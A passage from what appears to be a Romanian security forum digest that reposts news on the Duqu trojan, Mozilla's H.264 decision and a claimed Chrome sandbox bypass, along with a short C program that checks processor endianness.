enrichment facilities. While Duqu is similar in may respects to Stuxnet, research teams have concluded that its main purpose is to harvest data, not affect physical control systems such as those impacted by Stuxnet. Researchers from the Dell SecureWorks Counter Threat Unit concluded in October of 2011 that Duqu was designed primarily as a data harvesting tool meant to collect sensitive information and keystrokes on infected systems, and that the malware lacks any code similar to that found in Stuxnet which allowed for the physical manipulation of Programmable Logic Controllers (PLC) used in various industrial control systems (ICS). The Dell researchers went on to state that while there are multiple simularities between the two malware variants, the differing payloads and intended results of the two viruses led the team to conclude that the two trojans were in all likelihood probably not related, and were most likely not produced by the same authors. NSS researchers Mohamed Saher and Matthew Molinyawe asserted in November 2011 that Duqu is the first modular plugin rootkit ever identified in the wild, and the sophisticated nature of the malware code leads them to believe that development would have required a significant amount of resource. NSS researchers are working under the assumption that Duqu is still in development, and that the authors are working to perfect the malware prior to unleashing its full potential - such as the delivery of a potentially devastating payload. In December of 2011, the European Network and Information Security Agency (ENISA) released analysis of Duqu which included a warning that industrial control systems (ICS) and supervisory control and data acquisition (SCADA) networks are ill prepared to cope with such threats. ICS-SCADA systems provide operations control for critical infrastructure and production networks including manufacturing facilities, refineries, hydroelectric and nuclear power plants. Sursa: Symantec Identifies New Duqu Trojan Driver Variant

[h=2]Mozilla To Support H.264[/h] suraj.sun writes with a followup to last week's news that Mozilla was thinking about reversing their stance on H.264 support. Mozilla chairman Mitchell Baker and CTO Brendan Eich have now both written blog posts explaining why they feel H.264 support is no longer optional. Eich wrote, "We will not require anyone to pay for Firefox. We will not burden our downstream source redistributors with royalty fees. We may have to continue to fall back on Flash on some desktop OSes. I’ll write more when I know more about desktop H.264, specifically on Windows XP. What I do know for certain is this: H.264 is absolutely required right now to compete on mobile. I do not believe that we can reject H.264 content in Firefox on Android or in B2G and survive the shift to mobile. Losing a battle is a bitter experience. I won’t sugar-coat this pill. But we must swallow it if we are to succeed in our mobile initiatives. Failure on mobile is too likely to consign Mozilla to decline and irrelevance." Baker added, "Our first approach at bringing open codecs to the Web has ended up at an impasse on mobile, but we’re not done yet. ... We'll find a way around this impasse." Sursa: Mozilla To Support H.264 - Slashdot

Sa presupunem ca un int (in exemplul nostru) se memoreaza pe 4 octeti. Pentru valoarea int x = 1; se va memora: - big endian: 00 00 00 01 - little endian: 01 00 00 00 Singurul lucru care trebuie facut, e sa declaram un int (sau ceva ce se memoreaza pe mai mult de un octet), si sa citim primul octet. Cam toate rezolvarile au avut aceasta idee la baza, cam aceasta ar fi rezolvarea: #include <stdio.h> int main() { int var = 1; unsigned char *c = (unsigned char *)&var; /* Pointer la primul octet */ printf("Procesorul este %s\n", *c == 1 ? "little endian" : "big endian"); return 0; } Cei care au raspuns corect in primul post. Felicitari.

The Linux Tips linux tips and tricks Link: http://www.thelinuxtips.com/

Yet Another Google Chrome Sandbox Critical Exploit by Turkish security experts Turkish security experts from Arf Iskenderun Technologies, finds the new vulnerability open in Google Chrome 17.0.963.78 , same risk working on new update 17.0.963.79 and bypass Chrome SandBox. Last week, Vupen Security reports that it has officially "pwned" Google Chrome's sandbox. Vupen hacked Chrome 17.0.963.66 update. But, Turkish security experts claim that they hacked Chrome Sandbox after Vupen and This vulnerability is critical for Chrome. A sandbox is security mechanism used to run an application in a restricted environment. If an attacker is able to exploit the browser in a way that lets him run arbitrary code on the machine, the sandbox would help prevent this code from causing damage to the system. The sandbox would also help prevent this exploit from modifying and even reading your files or any information on the system. Maiden says that their objective is to make the internet a safer environment, "Google Chrome as much as we aim to contribute to the determination of deficits. That were identified as soon as possible and we hope that publishing this open will be closed by Google. We carry this conviction that the strategic gap. Because safety is exceeded SandBox Chrome browser via the browser, any attacker can perform the attack, "he said In First video Turkish experts hacked Chrome Sandbox same Vupen's hacked update. In Another Video, Experts hack the Latest Chrome version 17.0.963.78. Arf Technology, company which works in the software security Erkan Demirkan, to identify security vulnerabilities in software, and stated that the work of a number of close the vulnerability gap. Sursa: Yet Another Google Chrome Sandbox Critical Exploit by Turkish security experts | The Hacker News (THN)